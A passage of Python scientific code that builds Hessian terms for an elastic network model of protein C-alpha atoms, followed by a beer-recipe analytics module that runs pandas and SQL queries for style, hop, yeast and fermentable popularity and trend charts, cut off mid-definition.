calcDistance(mobChainCalphas[i], elementcontact) # make the 3*3 hessian term for this contact (excluding gamma, gamma is multiplied at the end to the sum) # if customHR_B, just use the distance d_0, else use the true distance in the bound pairs for the second derivatives if self.utils.config.customHR_B: if r_ij >= self.utils.config.customHRdistance: deltaTerm = self.make3By3HessianTerm(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], r_ij, self.utils.config.customHRdistance) overallTerm += deltaTerm else: deltaTerm = self.make3By3HessianTerm(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], r_ij, r_ij_b) overallTerm += deltaTerm #print "r_ij, r_ij_b: ", r_ij, r_ij_b # multiply the overallTerm with the spring constant gamma overallTerm = overallTerm * self.utils.config.customForceConstant #print overallTerm print contactsOfI.numAtoms(), "neighbors, modifying at hessian (loopcounter*3)+1: ", str((loopCounter*3)+1) #print contactsOfI.getSelstr() print str(i)+"'th refchain calpha, hessian line number ", (loopCounter*3)+1, "contacts with ", unboundCounterpartChainCalphas[contacts_counterpartChainIndex], " unboundcounterpartchainindex: ", contacts_counterpartChainIndices print "" # add the overallterm to the hessian matrix HR = self.add3By3MatrixtoHessian(overallTerm, HR, loopCounter*3) loopCounter += 1 assert(loopCounter-counterUnmatchedCalphas) == refChainCalphas.numAtoms() print "added custom terms to hessian" return HR def calcOffDiagonalHessianBlockMatrixGeneral_IJ(self, encounter, workOnReceptor=True, selstr='calpha'): """ Creates the off diagonal hessian block matrix and returns it. """ if workOnReceptor: refChainCalphas = encounter.getRefChain().select('calpha') mobChainCalphas = encounter.getMobChain().select('calpha') mobChain = encounter.getMobChain() boundCounterpartChainCalphas = encounter.getBoundCounterpartChain().select('calpha') boundCounterpartChain = encounter.getBoundCounterpartChain() unboundCounterpartChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') referenceCalphas = encounter.getReference().select('calpha') mobileCalphas = encounter.getMobile().select('calpha') unboundCounterpart = encounter.getUnboundCounterpart() unboundCounterpartCalphas = encounter.getUnboundCounterpart().select('calpha') else: refChainCalphas = encounter.getUnboundCounterpartChain().select('calpha') mobChainCalphas = encounter.getBoundCounterpartChain().select('calpha') mobChain = encounter.getBoundCounterpartChain() boundCounterpartChainCalphas = encounter.getMobChain().select('calpha') boundCounterpartChain = encounter.getMobChain() unboundCounterpartChainCalphas = encounter.getRefChain().select('calpha') referenceCalphas = encounter.getUnboundCounterpart().select('calpha') mobileCalphas = encounter.getBoundCounterpart().select('calpha') unboundCounterpart = encounter.getReference() unboundCounterpartCalphas = encounter.getReference().select('calpha') offDiagonalHessianMatrix = np.zeros(((referenceCalphas.numAtoms()*3), (unboundCounterpartCalphas.numAtoms()*3) )) # Loop over all calphas in the reference structure (using matched chains) counterUnmatchedCalphas = 0 loopCounter = 0 for element in referenceCalphas: i = loopCounter - counterUnmatchedCalphas if self.utils.doesAtomExistInY(element, refChainCalphas) is None: counterUnmatchedCalphas += 1 loopCounter += 1 continue else: contactsOfI = encounter.getIntermolecularNeighbors(mobChain, boundCounterpartChain, i, selstr, str(self.utils.config.customHRdistance)) # if there are contacts in the bound counterpart, the off diagonal part of the hessian needs an update in the 3*3 matrix of this atom and its neighbor if contactsOfI: # print "contact at i, refChainCalphas[i]: ", i, refChainCalphas[i] contacts_counterpartChainIndices = self.utils.getMatchingStructure(boundCounterpartChainCalphas, contactsOfI, unboundCounterpartChainCalphas) assert len(contactsOfI) == len(contacts_counterpartChainIndices) # access each element contact to create the deltaTerm for elementcontact, contacts_counterpartChainIndex in zip(contactsOfI, contacts_counterpartChainIndices): overallTerm = np.zeros((3,3)) self.utils.assertTwoAtomsAreEqual(refChainCalphas[i], mobChainCalphas[i], useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(elementcontact, unboundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(boundCounterpartChainCalphas[contacts_counterpartChainIndex], elementcontact, useCoords=False, useResname=False) self.utils.assertTwoAtomsAreEqual(boundCounterpartChainCalphas[contacts_counterpartChainIndex], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], useCoords=False, useResname=False) r_ij = calcDistance(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex]) r_ij_b = calcDistance(mobChainCalphas[i], elementcontact) # make the 3*3 hessian term for this contact # if customHR_B, just use the distance d_0, else use the true distance in the bound pairs for the second derivatives if self.utils.config.customHR_B: if r_ij >= self.utils.config.customHRdistance: deltaTerm = self.make3By3OffDiagonalHessianTermIJ(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], r_ij, self.utils.config.customHRdistance) overallTerm += deltaTerm else: deltaTerm = self.make3By3OffDiagonalHessianTermIJ(refChainCalphas[i], unboundCounterpartChainCalphas[contacts_counterpartChainIndex], r_ij, r_ij_b) overallTerm += deltaTerm # multiply the overallTerm with the spring constant gamma overallTerm = overallTerm * self.utils.config.customForceConstant # add the overall Term to the correct off diagonal super element in the hessian counterPartCalphaPosition = encounter.accessANMs().getCalphaPosition(unboundCounterpartChainCalphas[contacts_counterpartChainIndex], unboundCounterpart) offDiagonalHessianMatrix = self.add3By3MatrixtoOffDiagonalHessianMatrixIJ(overallTerm, offDiagonalHessianMatrix, loopCounter*3, counterPartCalphaPosition*3) #print "r_ij, r_ij_b: ", r_ij, r_ij_b #print overallTerm print contactsOfI.numAtoms(), "neighbors, modifying at hessian (loopcounter*3)+1: ", str((loopCounter*3)+1) #print contactsOfI.getSelstr() #print str(i)+"'th refchain calpha, hessian line number ", (loopCounter*3)+1, "contacts with ", unboundCounterpartChainCalphas[contacts_counterpartChainIndex], " unboundcounterpartchainindex: ", contacts_counterpartChainIndices print "" loopCounter += 1 assert(loopCounter-counterUnmatchedCalphas) == refChainCalphas.numAtoms() print "added custom terms to hessian" return offDiagonalHessianMatrix # origs def secondDerivativeTermOnDiagonal(self, x_i, x_j, r_ij, r_ij_b): """ @V / @x_i@x_i (excluding gamma)""" result = 1 + (r_ij_b * np.power(x_j - x_i, 2) ) / np.power(r_ij, 3) - r_ij_b/r_ij return result def secondDerivateTermOffDiagonal(self, x_i, x_j, y_i, y_j, r_ij, r_ij_b): """ @V / @x_i@y_j (excluding gamma) """ result = r_ij_b * (x_j - x_i) * ((y_j - y_i)/np.power(r_ij, 3)) return result def secondDerivateTermOffDiagonalAtomsIJ(self, x_i, x_j, y_i, y_j, r_ij, r_ij_b): """ Equation 21 before reducing, Atilgan paper, @V / @x_i@y_j (excluding gamma) """ result = -1.0 * r_ij_b * (x_j - x_i) * ((y_j - y_i)/np.power(r_ij, 3)) return result # # using r_ij_b # def secondDerivativeTermOnDiagonal(self, x_i, x_j, r_ij, r_ij_b): # """ @V / @x_i@x_i (excluding gamma) from paper, assume r_ij is at equilibrium r_ij_b. """ # result = np.power(x_j - x_i, 2) / np.power(r_ij_b, 2) # return result # # def secondDerivateTermOffDiagonal(self, x_i, x_j, y_i, y_j, r_ij, r_ij_b): # """ @V / @x_i@y_j (excluding gamma) from paper, assume r_ij is at equilibrium r_ij_b. """ # result = ((x_j - x_i)*(y_j - y_i))/ np.power(r_ij_b, 2) # return result # using r_ij # def secondDerivativeTermOnDiagonal(self, x_i, x_j, r_ij, r_ij_b): # """ @V / @x_i@x_i (excluding gamma) from paper, assume r_ij is at equilibrium r_ij_b. """ # result = np.power(x_j - x_i, 2) / np.power(r_ij, 2) # return result # # def secondDerivateTermOffDiagonal(self, x_i, x_j, y_i, y_j, r_ij, r_ij_b): # """ @V / @x_i@y_j (excluding gamma) from paper, assume r_ij is at equilibrium r_ij_b. """ # result = ((x_j - x_i)*(y_j - y_i))/ np.power(r_ij, 2) # return result def make3By3HessianTerm(self, refChainCalpha, elementcontact, r_ij, r_ij_b): """ Create a 3 by 3 matrix with the added terms for the hessian diagnonal (excluding multiplication with gamma)""" x_i = refChainCalpha.getCoords()[0] y_i = refChainCalpha.getCoords()[1] z_i = refChainCalpha.getCoords()[2] x_j = elementcontact.getCoords()[0] y_j = elementcontact.getCoords()[1] z_j = elementcontact.getCoords()[2] deltaTerm = np.zeros((3,3)) deltaTerm[0][0] = self.secondDerivativeTermOnDiagonal(x_i, x_j, r_ij, r_ij_b) deltaTerm[0][1] = self.secondDerivateTermOffDiagonal(x_i, x_j, y_i, y_j, r_ij, r_ij_b) deltaTerm[0][2] = self.secondDerivateTermOffDiagonal(x_i, x_j, z_i, z_j, r_ij, r_ij_b) deltaTerm[1][0] = deltaTerm[0][1] deltaTerm[1][1] = self.secondDerivativeTermOnDiagonal(y_i, y_j, r_ij, r_ij_b) deltaTerm[1][2] = self.secondDerivateTermOffDiagonal(y_i, y_j, z_i, z_j, r_ij, r_ij_b) deltaTerm[2][0] = deltaTerm[0][2] deltaTerm[2][1] = deltaTerm[1][2] deltaTerm[2][2] = self.secondDerivativeTermOnDiagonal(z_i, z_j, r_ij, r_ij_b) return deltaTerm def add3By3MatrixtoHessian(self, delta3by3, HR, topleftIndex): """ Add the delta3by3 matrix to its corresponding position of HR, located by the topleftIndex. """ HR[topleftIndex][topleftIndex] += delta3by3[0][0] HR[topleftIndex][topleftIndex+1] += delta3by3[0][1] HR[topleftIndex][topleftIndex+2] += delta3by3[0][2] HR[topleftIndex+1][topleftIndex] += delta3by3[1][0] HR[topleftIndex+1][topleftIndex+1] += delta3by3[1][1] HR[topleftIndex+1][topleftIndex+2] += delta3by3[1][2] HR[topleftIndex+2][topleftIndex] += delta3by3[2][0] HR[topleftIndex+2][topleftIndex+1] += delta3by3[2][1] HR[topleftIndex+2][topleftIndex+2] += delta3by3[2][2] return HR def add3By3MatrixtoOffDiagonalHessianMatrixIJ(self, delta3by3, offDiagonalHessianMatrix, topleftIndex, counterpartTopleftIndex): """ Add the delta3by3 matrix to its corresponding position of HR, located by the topleftIndex. """ offDiagonalHessianMatrix[topleftIndex][counterpartTopleftIndex] += delta3by3[0][0] offDiagonalHessianMatrix[topleftIndex][counterpartTopleftIndex+1] += delta3by3[0][1] offDiagonalHessianMatrix[topleftIndex][counterpartTopleftIndex+2] += delta3by3[0][2] offDiagonalHessianMatrix[topleftIndex+1][counterpartTopleftIndex] += delta3by3[1][0] offDiagonalHessianMatrix[topleftIndex+1][counterpartTopleftIndex+1] += delta3by3[1][1] offDiagonalHessianMatrix[topleftIndex+1][counterpartTopleftIndex+2] += delta3by3[1][2] offDiagonalHessianMatrix[topleftIndex+2][counterpartTopleftIndex] += delta3by3[2][0] offDiagonalHessianMatrix[topleftIndex+2][counterpartTopleftIndex+1] += delta3by3[2][1] offDiagonalHessianMatrix[topleftIndex+2][counterpartTopleftIndex+2] += delta3by3[2][2] return offDiagonalHessianMatrix def make3By3OffDiagonalHessianTermIJ(self, refChainCalpha, elementcontact, r_ij, r_ij_b): """ Create a 3 by 3 matrix with the added terms for the hessian super element off the diagnonal (excluding multiplication with gamma). """ x_i = refChainCalpha.getCoords()[0] y_i = refChainCalpha.getCoords()[1] z_i = refChainCalpha.getCoords()[2] x_j = elementcontact.getCoords()[0] y_j = elementcontact.getCoords()[1] z_j = elementcontact.getCoords()[2] deltaTerm = np.zeros((3,3)) deltaTerm[0][0] = self.secondDerivateTermOffDiagonalAtomsIJ(x_i, x_j, x_i, x_j, r_ij, r_ij_b) deltaTerm[0][1] = self.secondDerivateTermOffDiagonalAtomsIJ(x_i, x_j, y_i, y_j, r_ij, r_ij_b) deltaTerm[0][2] = self.secondDerivateTermOffDiagonalAtomsIJ(x_i, x_j, z_i, z_j, r_ij, r_ij_b) deltaTerm[1][0] = deltaTerm[0][1] deltaTerm[1][1] = self.secondDerivateTermOffDiagonalAtomsIJ(y_i, y_j, y_i, y_j, r_ij, r_ij_b) deltaTerm[1][2] = self.secondDerivateTermOffDiagonalAtomsIJ(y_i, y_j, z_i, z_j, r_ij, r_ij_b) deltaTerm[2][0] = deltaTerm[0][2] deltaTerm[2][1] = deltaTerm[1][2] deltaTerm[2][2] = self.secondDerivateTermOffDiagonalAtomsIJ(z_i, z_j, z_i, z_j, r_ij, r_ij_b) return deltaTerm def getCalphaPosition(self, atom1, reference): """ Returns the position of atom1 among the calphas of reference. Useful if one desires to know the index of an calpha atom in the ANM hessian made from reference calphas. Args: atom1: the calpha atom that the position is desired to know reference: the reference structure where the calpha position is obtained from Returns: Positive integer denoting the calpha position """ assert atom1.getName() == 'CA' referenceCalphas = reference.select('calpha') # try: # idx = zip(referenceCalphas).index((atom1, )) # return idx # except ValueError: # print "Exception in getCalphaPosition. This calpha cannot be located in the structure provided. " for idx, referenceCalpha in enumerate(referenceCalphas): if atom1 == referenceCalpha: return idx raise StopIteration("Exception in getCalphaPosition. This calpha cannot be located in the structure provided. ") def normalizeM(self, M): """ Normalize a set of modes, which are the columnvectors in M. Args: M: set of modes as columnvectors Returns: normalized (magnitude of each mode is 1) set of modes as columnvectors in M """ Mnormed = None if M.ndim == 1: modeVector = Vector(M) return modeVector.getNormed().getArray() else: for element in M.T: modeVector = Vector(element) modeNormalized = modeVector.getNormed() if Mnormed is None: Mnormed = modeNormalized.getArray() else: Mnormed = np.column_stack((Mnormed, modeNormalized.getArray())) return Mnormed def getNoOfZeroEigvals(self, anm): """ Return the number of zero eigenvalues, the treshold is defined in the constant ZERO. Args: anm: the anm Returns: number of zero eigenvalues """ ZERO = 1e-10 return sum(anm.getEigvals() < ZERO) def removeInterAtoms(self, arr, interCalphaIndices): """ Set x,y,z coordinations of atoms indicated by calphasInterIndices to 0,0,0 in arr. Args: arr: the array with x,y,z coordinates interCalphaIndices: calphas with intermolecular contacts Returns: arr with x,y,z positions of atoms from interCalphaIndices set to 0,0,0 """ for calphaIndex in interCalphaIndices: arr[(calphaIndex*3)] = 0.0 arr[(calphaIndex*3+1)] = 0.0 arr[(calphaIndex*3+2)] = 0.0 return arr
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e8f79c1c541ae6bfcae5f65ff145cc66e1b39827
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py
Python
recipe_db/analytics/recipe.py
scheb/beer-analytics
630cfb1dcd409a1b449a54a99aa9b3f73da0f756
[ "Beerware" ]
21
2020-09-08T07:05:37.000Z
2022-03-25T20:30:47.000Z
recipe_db/analytics/recipe.py
scheb/beer-analytics
630cfb1dcd409a1b449a54a99aa9b3f73da0f756
[ "Beerware" ]
1
2022-02-02T02:03:26.000Z
2022-02-26T10:18:06.000Z
recipe_db/analytics/recipe.py
scheb/beer-analytics
630cfb1dcd409a1b449a54a99aa9b3f73da0f756
[ "Beerware" ]
4
2020-10-10T10:48:07.000Z
2022-03-11T13:09:49.000Z
import math from abc import ABC from typing import Optional, Iterable import pandas as pd from django.db import connection from pandas import DataFrame from recipe_db.analytics import METRIC_PRECISION, POPULARITY_START_MONTH, POPULARITY_CUT_OFF_DATE from recipe_db.analytics.scope import RecipeScope, StyleProjection, YeastProjection, HopProjection, \ FermentableProjection from recipe_db.analytics.utils import remove_outliers, get_style_names_dict, get_hop_names_dict, get_yeast_names_dict, \ get_fermentable_names_dict, RollingAverage, Trending, months_ago from recipe_db.models import Recipe class RecipeLevelAnalysis(ABC): def __init__(self, scope: RecipeScope) -> None: self.scope = scope class RecipesListAnalysis(RecipeLevelAnalysis): def random(self, num_recipes: int) -> Iterable[Recipe]: scope_filter = self.scope.get_filter() query = ''' SELECT r.uid AS recipe_id FROM recipe_db_recipe AS r WHERE r.name IS NOT NULL {} ORDER BY random() LIMIT %s '''.format(scope_filter.where) df = pd.read_sql(query, connection, params=scope_filter.parameters + [num_recipes]) recipe_ids = df['recipe_id'].values.tolist() if len(recipe_ids) == 0: return [] return Recipe.objects.filter(uid__in=recipe_ids).order_by('name') class RecipesCountAnalysis(RecipeLevelAnalysis): def total(self) -> int: scope_filter = self.scope.get_filter() query = ''' SELECT count(r.uid) AS total_recipes FROM recipe_db_recipe AS r WHERE created IS NOT NULL {} '''.format(scope_filter.where) df = pd.read_sql(query, connection, params=scope_filter.parameters) if len(df) == 0: return 0 return df['total_recipes'].values.tolist()[0] def per_day(self) -> DataFrame: scope_filter = self.scope.get_filter() query = ''' SELECT date(r.created) AS day, count(r.uid) AS total_recipes FROM recipe_db_recipe AS r WHERE created IS NOT NULL {} GROUP BY date(r.created) '''.format(scope_filter.where) df = pd.read_sql(query, connection, params=scope_filter.parameters) df = df.set_index('day') return df def per_month(self) -> DataFrame: scope_filter = self.scope.get_filter() query = ''' SELECT date(r.created, 'start of month') AS month, count(r.uid) AS total_recipes FROM recipe_db_recipe AS r WHERE created IS NOT NULL {} GROUP BY date(r.created, 'start of month') ORDER BY month ASC '''.format(scope_filter.where) df = pd.read_sql(query, connection, params=scope_filter.parameters) df = df.set_index('month') return df def per_style(self) -> DataFrame: scope_filter = self.scope.get_filter() query = ''' SELECT ras.style_id, count(DISTINCT r.uid) AS total_recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipe_associated_styles ras ON r.uid = ras.recipe_id WHERE 1 {} GROUP BY ras.style_id ORDER BY ras.style_id ASC '''.format(scope_filter.where) df = pd.read_sql(query, connection, params=scope_filter.parameters) df = df.set_index('style_id') return df class RecipesPopularityAnalysis(RecipeLevelAnalysis): def popularity_per_style( self, projection: Optional[StyleProjection] = None, num_top: Optional[int] = None, top_months: Optional[int] = None, ) -> DataFrame: projection = projection or StyleProjection() scope_filter = self.scope.get_filter() projection_filter = projection.get_filter() query = ''' SELECT date(r.created, 'start of month') AS month, ras.style_id, count(r.uid) AS recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipe_associated_styles AS ras ON r.uid = ras.recipe_id WHERE r.created >= %s -- Cut-off date for popularity charts {} {} GROUP BY month, ras.style_id '''.format(scope_filter.where, projection_filter.where) per_month = pd.read_sql(query, connection, params=[POPULARITY_CUT_OFF_DATE] + scope_filter.parameters + projection_filter.parameters) if len(per_month) == 0: return per_month # Filter top values top_ids = None if num_top is not None: top_scope = per_month if top_months is not None: top_scope = top_scope[top_scope['month'] >= months_ago(top_months).strftime('%Y-%m-%d')] top_ids = top_scope.groupby('style_id')['recipes'].sum().sort_values(ascending=False).index.values[:num_top] per_month = per_month[per_month['style_id'].isin(top_ids)] recipes_per_month = RecipesCountAnalysis(self.scope).per_month() per_month = per_month.merge(recipes_per_month, on="month") per_month['recipes_percent'] = per_month['recipes'] / per_month['total_recipes'] # Rolling average smoothened = RollingAverage().rolling_multiple_series(per_month, 'style_id', 'month') smoothened['recipes_percent'] = smoothened['recipes_percent'].apply(lambda x: max([x, 0])) # Start date for popularity charts smoothened = smoothened[smoothened['month'] >= POPULARITY_START_MONTH] # Sort by top styles if top_ids is not None: smoothened['style_id'] = pd.Categorical(smoothened['style_id'], top_ids) smoothened = smoothened.sort_values(['style_id', 'month']) smoothened['beer_style'] = smoothened['style_id'].map(get_style_names_dict()) return smoothened def popularity_per_hop( self, projection: Optional[HopProjection] = None, num_top: Optional[int] = None, top_months: Optional[int] = None, ) -> DataFrame: projection = projection or HopProjection() scope_filter = self.scope.get_filter() projection_filter = projection.get_filter() query = ''' SELECT date(r.created, 'start of month') AS month, rh.kind_id, count(DISTINCT r.uid) AS recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipehop AS rh ON r.uid = rh.recipe_id WHERE r.created >= %s -- Cut-off date for popularity charts {} {} GROUP BY date(r.created, 'start of month'), rh.kind_id '''.format(scope_filter.where, projection_filter.where) per_month = pd.read_sql(query, connection, params=[POPULARITY_CUT_OFF_DATE] + scope_filter.parameters + projection_filter.parameters) if len(per_month) == 0: return per_month # Filter top values top_ids = None if num_top is not None: top_scope = per_month if top_months is not None: top_scope = top_scope[top_scope['month'] >= months_ago(top_months).strftime('%Y-%m-%d')] top_ids = top_scope.groupby('kind_id')['recipes'].sum().sort_values(ascending=False).index.values[:num_top] per_month = per_month[per_month['kind_id'].isin(top_ids)] recipes_per_month = RecipesCountAnalysis(self.scope).per_month() per_month = per_month.merge(recipes_per_month, on="month") per_month['recipes_percent'] = per_month['recipes'] / per_month['total_recipes'] # Rolling average smoothened = RollingAverage().rolling_multiple_series(per_month, 'kind_id', 'month') smoothened['recipes_percent'] = smoothened['recipes_percent'].apply(lambda x: max([x, 0])) # Start date for popularity charts smoothened = smoothened[smoothened['month'] >= POPULARITY_START_MONTH] # Sort by top kinds if top_ids is not None: smoothened['kind_id'] = pd.Categorical(smoothened['kind_id'], top_ids) smoothened = smoothened.sort_values(['kind_id', 'month']) smoothened['hop'] = smoothened['kind_id'].map(get_hop_names_dict()) return smoothened def popularity_per_fermentable( self, projection: Optional[FermentableProjection] = None, num_top: Optional[int] = None, ) -> DataFrame: projection = projection or FermentableProjection() scope_filter = self.scope.get_filter() projection_filter = projection.get_filter() query = ''' SELECT date(r.created, 'start of month') AS month, rf.kind_id, count(DISTINCT r.uid) AS recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipefermentable AS rf ON r.uid = rf.recipe_id WHERE r.created >= %s -- Cut-off date for popularity charts {} {} GROUP BY date(r.created, 'start of month'), rf.kind_id '''.format(scope_filter.where, projection_filter.where) per_month = pd.read_sql(query, connection, params=[POPULARITY_CUT_OFF_DATE] + scope_filter.parameters + projection_filter.parameters) if len(per_month) == 0: return per_month # Filter top values top_ids = None if num_top is not None: top_scope = per_month top_ids = top_scope.groupby('kind_id')['recipes'].sum().sort_values(ascending=False).index.values[:num_top] per_month = per_month[per_month['kind_id'].isin(top_ids)] recipes_per_month = RecipesCountAnalysis(self.scope).per_month() per_month = per_month.merge(recipes_per_month, on="month") per_month['recipes_percent'] = per_month['recipes'] / per_month['total_recipes'] # Rolling average smoothened = RollingAverage().rolling_multiple_series(per_month, 'kind_id', 'month') smoothened['recipes_percent'] = smoothened['recipes_percent'].apply(lambda x: max([x, 0])) # Start date for popularity charts smoothened = smoothened[smoothened['month'] >= POPULARITY_START_MONTH] # Sort by top kinds if top_ids is not None: smoothened['kind_id'] = pd.Categorical(smoothened['kind_id'], top_ids) smoothened = smoothened.sort_values(['kind_id', 'month']) smoothened['fermentable'] = smoothened['kind_id'].map(get_fermentable_names_dict()) return smoothened def popularity_per_yeast( self, projection: Optional[YeastProjection] = None, num_top: Optional[int] = None, top_months: Optional[int] = None, ) -> DataFrame: projection = projection or YeastProjection() scope_filter = self.scope.get_filter() projection_filter = projection.get_filter() query = ''' SELECT date(r.created, 'start of month') AS month, ry.kind_id, count(DISTINCT r.uid) AS recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipeyeast AS ry ON r.uid = ry.recipe_id WHERE r.created >= %s -- Cut-off date for popularity charts {} {} GROUP BY date(r.created, 'start of month'), ry.kind_id '''.format(scope_filter.where, projection_filter.where) per_month = pd.read_sql(query, connection, params=[POPULARITY_CUT_OFF_DATE] + scope_filter.parameters + projection_filter.parameters) if len(per_month) == 0: return per_month # Filter top values top_ids = None if num_top is not None: top_scope = per_month if top_months is not None: top_scope = top_scope[top_scope['month'] >= months_ago(top_months).strftime('%Y-%m-%d')] top_ids = top_scope.groupby('kind_id')['recipes'].sum().sort_values(ascending=False).index.values[:num_top] per_month = per_month[per_month['kind_id'].isin(top_ids)] recipes_per_month = RecipesCountAnalysis(self.scope).per_month() per_month = per_month.merge(recipes_per_month, on="month") per_month['recipes_percent'] = per_month['recipes'] / per_month['total_recipes'] # Rolling average smoothened = RollingAverage().rolling_multiple_series(per_month, 'kind_id', 'month') smoothened['recipes_percent'] = smoothened['recipes_percent'].apply(lambda x: max([x, 0])) # Start date for popularity charts smoothened = smoothened[smoothened['month'] >= POPULARITY_START_MONTH] # Sort by top kinds if top_ids is not None: smoothened['kind_id'] = pd.Categorical(smoothened['kind_id'], top_ids) smoothened = smoothened.sort_values(['kind_id', 'month']) smoothened['yeast'] = smoothened['kind_id'].map(get_yeast_names_dict()) return smoothened class RecipesMetricHistogram(RecipeLevelAnalysis): def metric_histogram(self, metric: str) -> DataFrame: precision = METRIC_PRECISION[metric] if metric in METRIC_PRECISION else METRIC_PRECISION['default'] scope_filter = self.scope.get_filter() query = ''' SELECT round({}, {}) as {} FROM recipe_db_recipe AS r WHERE {} IS NOT NULL {} '''.format(metric, precision, metric, metric, scope_filter.where) df = pd.read_sql(query, connection, params=scope_filter.parameters) df = remove_outliers(df, metric, 0.02) if len(df) == 0: return df bins = 16 if metric in ['og', 'fg'] and len(df) > 0: abs = df[metric].max() - df[metric].min() bins = max([1, round(abs / 0.002)]) if bins > 18: bins = round(bins / math.ceil(bins / 12)) if metric in ['abv', 'srm'] and len(df) > 0: abs = df[metric].max() - df[metric].min() bins = max([1, round(abs / 0.1)]) if bins > 18: bins = round(bins / math.ceil(bins / 12)) if metric in ['ibu'] and len(df) > 0: abs = df[metric].max() - df[metric].min() bins = max([1, round(abs)]) if bins > 18: bins = round(bins / math.ceil(bins / 12)) histogram = df.groupby([pd.cut(df[metric], bins, precision=precision)])[metric].agg(['count']) histogram = histogram.reset_index() histogram[metric] = histogram[metric].map(str) return histogram class RecipesTrendAnalysis(RecipeLevelAnalysis): def _recipes_per_month_in_scope(self) -> DataFrame: return RecipesCountAnalysis(self.scope).per_month() def trending_styles(self, trend_window_months: int = 24) -> DataFrame: recipes_per_month = self._recipes_per_month_in_scope() scope_filter = self.scope.get_filter() query = ''' SELECT date(r.created, 'start of month') AS month, ras.style_id, count(r.uid) AS recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipe_associated_styles AS ras ON r.uid = ras.recipe_id WHERE r.created >= %s -- Cut-off date for popularity charts {} GROUP BY month, ras.style_id '''.format(scope_filter.where) per_month = pd.read_sql(query, connection, params=[POPULARITY_CUT_OFF_DATE] + scope_filter.parameters) if len(per_month) == 0: return per_month per_month = per_month.merge(recipes_per_month, on="month") per_month['month'] = pd.to_datetime(per_month['month']) per_month['recipes_percent'] = per_month['recipes'] / per_month['total_recipes'] trend_filter = Trending(RollingAverage(window=trend_window_months + 1), trending_window=trend_window_months) trending_ids = trend_filter.get_trending_series(per_month, 'style_id', 'month', 'recipes_percent', 'recipes') # Filter trending series trending = per_month[per_month['style_id'].isin(trending_ids)] if len(trending) == 0: return trending # Rolling average smoothened = RollingAverage().rolling_multiple_series(trending, 'style_id', 'month') smoothened['recipes_percent'] = smoothened['recipes_percent'].apply(lambda x: max([x, 0])) # Start date for popularity charts smoothened = smoothened[smoothened['month'] >= POPULARITY_START_MONTH] # Order by relevance smoothened['style_id'] = pd.Categorical(smoothened['style_id'], trending_ids) smoothened = smoothened.sort_values(['style_id', 'month']) smoothened['beer_style'] = smoothened['style_id'].map(get_style_names_dict()) return smoothened def trending_hops(self, projection: Optional[HopProjection] = None, trend_window_months: int = 24) -> DataFrame: projection = projection or HopProjection() recipes_per_month = self._recipes_per_month_in_scope() scope_filter = self.scope.get_filter() projection_filter = projection.get_filter() query = ''' SELECT date(r.created, 'start of month') AS month, rh.kind_id, count(DISTINCT r.uid) AS recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipehop AS rh ON r.uid = rh.recipe_id WHERE r.created >= %s -- Cut-off date for popularity charts AND rh.kind_id IS NOT NULL {} {} GROUP BY date(r.created, 'start of month'), rh.kind_id '''.format(scope_filter.where, projection_filter.where) per_month = pd.read_sql(query, connection, params=[POPULARITY_CUT_OFF_DATE] + scope_filter.parameters + projection_filter.parameters) if len(per_month) == 0: return per_month per_month = per_month.merge(recipes_per_month, on="month") per_month['month'] = pd.to_datetime(per_month['month']) per_month['recipes_percent'] = per_month['recipes'] / per_month['total_recipes'] trend_filter = Trending(RollingAverage(window=trend_window_months+1), trending_window=trend_window_months) trending_ids = trend_filter.get_trending_series(per_month, 'kind_id', 'month', 'recipes_percent', 'recipes') # Filter trending series trending = per_month[per_month['kind_id'].isin(trending_ids)] if len(trending) == 0: return trending # Rolling average smoothened = RollingAverage().rolling_multiple_series(trending, 'kind_id', 'month') smoothened['recipes_percent'] = smoothened['recipes_percent'].apply(lambda x: max([x, 0])) # Start date for popularity charts smoothened = smoothened[smoothened['month'] >= POPULARITY_START_MONTH] # Order by relevance smoothened['kind_id'] = pd.Categorical(smoothened['kind_id'], trending_ids) smoothened = smoothened.sort_values(['kind_id', 'month']) smoothened['hop'] = smoothened['kind_id'].map(get_hop_names_dict()) return smoothened def trending_yeasts(self, projection: Optional[YeastProjection] = None, trend_window_months: int = 24) -> DataFrame: projection = projection or YeastProjection() recipes_per_month = self._recipes_per_month_in_scope() scope_filter = self.scope.get_filter() projection_filter = projection.get_filter() query = ''' SELECT date(r.created, 'start of month') AS month, ry.kind_id, count(DISTINCT r.uid) AS recipes FROM recipe_db_recipe AS r JOIN recipe_db_recipeyeast AS ry ON r.uid = ry.recipe_id WHERE r.created >= %s -- Cut-off date for popularity charts AND ry.kind_id IS NOT NULL {} {} GROUP BY date(r.created, 'start of month'), ry.kind_id '''.format(scope_filter.where, projection_filter.where) per_month = pd.read_sql(query, connection, params=[POPULARITY_CUT_OFF_DATE] + scope_filter.parameters + projection_filter.parameters) if len(per_month) == 0: return per_month per_month = per_month.merge(recipes_per_month, on="month") per_month['month'] = pd.to_datetime(per_month['month']) per_month['recipes_percent'] = per_month['recipes'] / per_month['total_recipes'] trend_filter = Trending(RollingAverage(window=trend_window_months+1), trending_window=trend_window_months) trending_ids = trend_filter.get_trending_series(per_month, 'kind_id', 'month', 'recipes_percent', 'recipes') # Filter trending series trending = per_month[per_month['kind_id'].isin(trending_ids)] if len(trending) == 0: return trending # Rolling average smoothened = RollingAverage().rolling_multiple_series(trending, 'kind_id', 'month') smoothened['recipes_percent'] = smoothened['recipes_percent'].apply(lambda x: max([x, 0])) # Start date for popularity charts smoothened = smoothened[smoothened['month'] >= POPULARITY_START_MONTH] # Order by relevance smoothened['kind_id'] = pd.Categorical(smoothened['kind_id'], trending_ids) smoothened = smoothened.sort_values(['kind_id', 'month']) smoothened['yeast'] = smoothened['kind_id'].map(get_yeast_names_dict()) return smoothened class 